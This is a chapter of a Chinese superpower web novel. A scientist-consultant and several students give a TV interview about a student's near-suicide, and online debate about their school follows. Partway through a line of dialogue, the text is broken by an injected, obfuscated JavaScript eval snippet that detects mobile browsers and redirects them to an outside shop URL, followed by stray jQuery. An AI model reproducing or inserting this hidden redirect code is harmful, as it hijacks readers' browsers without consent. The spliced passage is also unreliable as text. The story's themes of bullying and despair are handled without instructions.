镁光灯下，几个人像架上钢丝网上的烤肉，滋滋直冒油烟。
于见霜双手并拢规规矩矩放在腿上，局促得不敢多动一下，王觊嘴角抽着个难看笑容，死活放不下面部肌肉。后台化妆里宣称要在这里闪亮出道的单荔，这会儿坐得脊背笔挺，指尖却在微微颤抖，颊边也冒出了数颗生怯的汗珠。
为演出效果，林昭客随主便，换了身节目组准备的品牌高定。不规则裁剪的设计师款白衬衣掐系在腰间复古风格的宽皮带，衬得他整个人腰窄腿长。内搭黑色高领衫，领口严严实实拉到下巴尖，显出脖颈线条格外修长，禁欲气质拉满。
袖口利落挽起，露出一截清瘦腕骨。智能腕表没动他的，但表带更替成了银白色的太空金属，耳返也是同色的雪光银。
两件简洁优美的功能设备替代了饰品，除此之外再无任何赘余。锋利冰凉，暗合了人们关于天才科学家的一切美好想象。
头顶十盏太阳灯高温曝闪，林昭好似都没什么感觉。他放松着两条长腿交叠坐着，意态自若，叫人很难从他身上移开目光。
疏离散漫的气质，放在平日里是没架子好接近；到了高压环境，反成了极致的距离感。
有若山巅一抔孤雪，视线虽能相触，却遥遥不可企及。
总是不动声色，轻易剥开旁人的虚伪矫饰。但他自己呢，哪一个才是他真正的样貌？
主舞台背面，桑士桢倚着墙，有一下没一下抛高着手里沙沙作响的钥匙圈。
黎沅到访引发的小小骚乱很快风平过境，节目录制按时开机。节目组本来给他安排了观众席一个不错的位置，但台下待了会儿，桑士桢意识到这其实是档彻头彻尾的娱乐节目。主持人拿弱智当噱头，不断抛出争议问题，恨不得让到场嘉宾全都崩溃大哭……蠢到没眼看。
他的心情也不怎么美妙，从撞见黎沅那会儿开始。
想不通。整个晟华校内都在传，说林昭是超管局重金专聘来的，中央科学院的天才顾问。自三年前全球大范围异能爆发后，他协助林君成工作，提出多项假说，为当前世界的主流异能学说打下基础，战绩全网可查。
这样的人，难道也追星吗？
怎么会和身边咋咋呼呼的同学一样，被那种金钱堆砌出来的白骨皮相所惑，看傻眼到走不动道呢？
——他不知自己会错了意，将恶心作呕误读成神魂出窍，错到没边。
然而真相哪里都不在，向来什么都不当一回事的男生，没由来一阵焦躁。
化妆间白墙上嵌着的落地镜中，映出他不悦脸庞。
疤痕不知何时已褪淡下去。桑士桢张开虎口，下狠劲儿拧了把自己的脸。
最近他转变想法，想试着循序渐进以本来面貌和身边人相处。计划是托词做了疤痕修复，而后一步步消淡面上的刀疤，最终恢复到不使用能力的样子，也给自己留下心理缓冲的时间。
但，面部组织十分脆弱。即使剥离掉伪装，嘴唇、鼻骨、眼皮这些部位的刀痕也无法被祛除。
他看镜中的自己，镜中人亦回望他。
张扬肢体忽然收敛，镜中倒影落座在一张转椅之中，动作松弛，两条长腿交叠。
双手指尖交叉，随意落在膝头。
骨骼抽紧，挤压出磨牙抓脑的咔咔声响。少年窄薄而阔的身型形变收窄，松垮挂在肩骨的制式校服悄然宽大一圈。
镜中五官高低起伏，脸部肌肉微妙扭拧，定格在一张被他记得很深的脸。
柳叶眼，远山眉，鼻骨挺直如玉，薄唇微翘，似迎风轻颤的扶桑花。
仿得大差不差，然而是尊赝品，似是而非，谈不上有多像。
想必是理解不够深，错过了什么关键的细节。
“……怎么。”怕惊动了什么似的，桑士桢凑近，用自己的声音，轻点了点镜中的人，“你还真的，一点儿异能都没有啊。”
周六晚八，黄金时段中的黄金时间。火热出炉的访谈节目推送到全平台流媒体。启播时间将将过半，数家社媒门户警报连连，招呼技术运营品牌等，今晚做好加班战斗准备。
「问：有没有晟华的学生老师来说说，这节目讲的是不是真的啊？」
城市论坛上率先涌出东璞本地家长的关心询问。升学季在即，要给孩子报哪个学校什么志愿，是初三家长们最关心的事情。
「晟华总还是可以的，不要听外面乱说吧」
「什么节目啊」
「看不懂，楼下来」
几楼不明状况的发言以后，帖子被几度顶起，视听渐明。
「匿名用户：不建议。我以一个过来人家长的身份告诉你们，晟华不是一个好的选择，除非你们家条件真的很好很好……那就非常适合，当我没说。」
「晟华不行吧，听说学生风气不好，捧高踩低的」
「别的不说，全套校服几万块就有的受了」
「节目上他们自己学生都说了[截图][截图][截图]，平时学业和社交压力都很大。好好上个学哪来的社交压力？除非是……可别是我想的那样吧」
「楼上是想说霸凌吧，我觉得也是。看几个小孩子急得，就差把这俩字说出口了。没提应该是校方封口不让讲，哎，为人师表，还没几个小孩子和顾问老师有情有义」
「小号9527：垃圾学校」
「或许有人知道他们学校招聘也出过事吗，候选人面试走到最后一轮，因为没有异能被拒绝了。既然只招高功能群体，那一开始就别喊人去鱼塘泡池子啊」
「这合法吗，不是早就说过，不能因为异能差别对待搞歧视」
「笑死，合不合法重要吗，投诉看看你们就知道了」
话到这里，帖子不多久就没了。然而另几个改头换面的新帖很快转生，择校、招聘、校内风气等几个话题各占一楼，热度飞速飘红。
社媒平台上的热搜就更丰富多彩些。关于晟华的讨论以外，林昭和单荔也比肩登上热词榜。
「我天这不是上次飞身救人的那个小哥哥吗！想不到这里又见面了！我宣布我们就是有缘！」
「不是吧，中科院研究员？……博士毕业了还只有二十二！！？」
「硬控我半小时家人们谁懂啊，说话谈吐，重要的是那个眼神，好温柔……」
「几个学生颜值也不低，尤其那个能随时换发型的女生，简直超过很多小偶像了。啊，这该不是什么新型抢生源广告吧！？诡计多端的商战……」
关键词一出，很快就有人在线科普晟华水深，将平台上热度逐渐成型的节目分析帖和晟华八卦合集转发过来。
原本只关注高颜值和高智商的路人，分散的注意力有意无意，被引导往同一个方向。
“……救
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701092|144450||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
人的时候，是怎么想的呢？”
“什么都没想。”林昭据实以答，“我想换成任何一个人站在那个位置，都会做出同样的选择吧。”
单荔接话：“当然，那可是我们的同学哎！”
“不接住他那还能算是个人吗！”王觊用吼的。
“我是班长。”于见霜道。
主持人预备好的煽情话语被三个学生叽里呱啦一打岔，梗咽在喉没能说得出口。一通胡搅蛮缠后，林昭轻描淡写地道：“其实我觉得，这个世界也不需要什么超能力英雄。英雄总是来得太晚，反派炸掉半个纽约市，他们才刚骑着机车赶到事故现场。”
“走到悬崖边沿是个结果，在这一刻到来之前，我们的学生已受了很长、很久的委屈。他忍耐过、挣扎过，向家长或校方求助过。但他的声音没人听到，英雄呢？缺席了。”
“如果在他身边，有人能更早留意到他的异常，向他伸出援手，坠楼事故也许不会发生，我们也就不必坐在这里，天花乱坠地吹捧自己。”
“英雄的存在，不会让世界变得更好。更多时候，我们只是需要身边的普通人拉我们一把。”
这一段堪称和节目组宣传口径对着干的访谈对话播出后，点爆诸多情绪。
黎沅和丁汀娜等超英偶像的狂热粉丝最先破大防，他们有组织地集体转发，斥责林昭极度傲慢无礼，不尊重超英偶像们出生入死的付出，忙着拉表格罗列实绩，誓要以L.N.A以往的救援作战记录证明英雄价值，情急形状，怎么看怎么像是流量明星粉丝和后起之秀的对家撕番位、扯头花。
多亏了他们专业的做数据技巧，这一期特别访谈节目在半天后彻底引爆出圈，吸引到更多路人将目光关注到晟华和它的学生们。
林昭对此深表感激。他特地委托节目组官博，隔空向粉丝们真诚致谢。
话题热度传开后，高压考学环境下的年轻学生有感而发，成为了和这一期节目最有共鸣的群体。
「我也希望有人能对我说一句：‘你受委屈了，你辛苦了，你已经做得很好了。’可是，没人关心这些，大家只会说：‘你为什么不努力？为什么别人能做到，你却不行？’」
「我理解这种感受。好几次我都想说算了吧，我这样的废物垃圾，活着也没有意义……但我一直没有行动，我还是怕父母伤心。」
「不需要帮我解决什么具体的问题。我只是需要一点坚持下去的勇气……如果有人也能像他们一样，明知前面是深渊也愿意二话不说陪着我一起跳下去，那我觉得就没有什么事是不能面对的吧。」
千言万语，百川汇流，最终聚拢向一个交点。
晟华中学到底发生了什么？
这位学生又遭遇了什么，才走到差点轻生的地步？
周末二日，舆论蒸腾，发酵面团似地全面膨开。趁热打铁，林昭着手准备周一要面向全校高功能学生开设的特别讲座。这次要在所有学生面前，拆除掉高曜的光环滤镜。
新消息闪啊闪，邀功似地亮起。
桑士桢：「搞定。整了几个抓数据流的小眼睛，有舆情变动，随时同步到你那儿。」
林昭：「看了」
林昭：「挺好的。」
桑士桢：「小狗摇尾.jpg」
桑士桢：「那你」
桑士桢：「会给我奖励吗？」